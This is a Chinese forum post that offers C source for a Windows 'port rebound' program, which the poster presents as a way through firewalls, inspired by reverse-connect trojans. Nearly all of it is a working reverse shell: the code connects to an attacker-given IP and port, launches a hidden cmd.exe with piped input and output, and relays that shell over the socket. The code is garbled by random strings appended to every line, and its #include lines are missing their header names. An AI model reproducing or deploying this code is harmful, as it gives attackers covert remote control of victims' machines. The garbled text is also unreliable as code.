社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 7104阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `?G&w.Vs  
;-AC}jG  
/* ============================== XR_Gsb%l  
Rebound port in Windows NT E?- ~*T  
By wind,2006/7 HA74s':FN  
===============================*/ 0[])wl  
#include V+5av Z}  
#include v`@M IOv  
%uw7sGz\  
#pragma comment(lib,"wsock32.lib") &WNIL13DK  
fE"-W{M  
void OutputShell(); _#K?yP?  
SOCKET sClient; hVIv->  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =m;,?("7t3  
$0Ys{m  
void main(int argc,char **argv) \`;1[m  
{ ;,/4Ry22j-  
WSADATA stWsaData; "H#pN;)+   
int nRet; 5.$/]2VK  
SOCKADDR_IN stSaiClient,stSaiServer; @jCMQYR  
%xrldn%  
if(argc != 3) 3i1TBhs6  
{ Ae\:{[c_D  
printf("Useage:\n\rRebound DestIP DestPort\n"); 6WX?Xc]$3  
return; &=]!8z=  
} :nOI|\ rC  
"5204I  
WSAStartup(MAKEWORD(2,2),&stWsaData); -tIye{  
iPdS>e e  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lAR1gHhJ  
V :/v r  
stSaiClient.sin_family = AF_INET; I?RUVs  
stSaiClient.sin_port = htons(0); I? ="Er[g}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); iG#9 2e4  
p:V1VHT,  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M`n0 q y  
{ }kG>6_p?  
printf("Bind Socket Failed!\n"); Rl&nR$#  
return; tOX -vQ  
} ,xg-H6Xfa{  
T|,/C|L  
stSaiServer.sin_family = AF_INET; .W\JvPTC  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +%H=+fJ2}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &NOCRabc  
@?>5~  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)  W_6gV  
{ %l,CJd5  
printf("Connect Error!"); 7K ~)7U  
return; pk`5RDBu  
} zm8k,e +5-  
OutputShell(); ;d<O/y,:4  
} 5=\^DeM@ H  
KZO[>qC"R  
void OutputShell() eLLOE)x  
{ ;l^'g}dQ^  
char szBuff[1024]; 4V c``Um  
SECURITY_ATTRIBUTES stSecurityAttributes; hBaF^AWW  
OSVERSIONINFO stOsversionInfo; j\"d/{7Q  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Lr 9E02  
STARTUPINFO stStartupInfo; k<x7\T  
char *szShell; 1B gHkDW  
PROCESS_INFORMATION stProcessInformation; 3?D{iMRM  
unsigned long lBytesRead; m&yHtnt  
F"cZ$TL]  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "!_vQ^y  
gF`hlYD  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Xvk+1:D  
stSecurityAttributes.lpSecurityDescriptor = 0; $&!|G-0'  
stSecurityAttributes.bInheritHandle = TRUE; <*+[E!oi  
U o aWI2  
-g:i'e  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); g}S%D(~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); f:t j   
6q8PLyIp  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r9*6=*J|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 65nK1W`i  
stStartupInfo.wShowWindow = SW_HIDE; g6+5uvpd  
stStartupInfo.hStdInput = hReadPipe; E62_k 0q  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; AQ0zsy  
=J"c'Z>.  
GetVersionEx(&stOsversionInfo); aK_k'4YTm  
}u1h6rd `  
switch(stOsversionInfo.dwPlatformId) 'Fc$?$c\  
{ byTH SRt  
case 1: gLY15v4?  
szShell = "command.com"; @=%g{  
break; `4?|yp.|L  
default: ty:{e]e  
szShell = "cmd.exe"; =f23lA  
break; JNT|h zV  
} <EdNF&S-  
w+Gav4  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2R ^6L@fw  
_0ZU I^#  
send(sClient,szMsg,77,0); k)[c!\a[i  
while(1) R<vbhB/lU  
{ GHo mk##0E  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);  3bJ|L3G  
if(lBytesRead) B~M6l7^?  
{ =p7id5"  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); XL9-N?(@  
send(sClient,szBuff,lBytesRead,0); Sn^M[}we  
} t BG 9Mn  
else d^v.tYM$N  
{ k2.k}?w!JO  
lBytesRead=recv(sClient,szBuff,1024,0); p$ETAvD  
if(lBytesRead<=0) break; j/F('r~L  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2kk; z0f  
} A`Rs n\  
} -%Ce  
=d iGuI B  
return; rg=Ym.  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录 或 注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八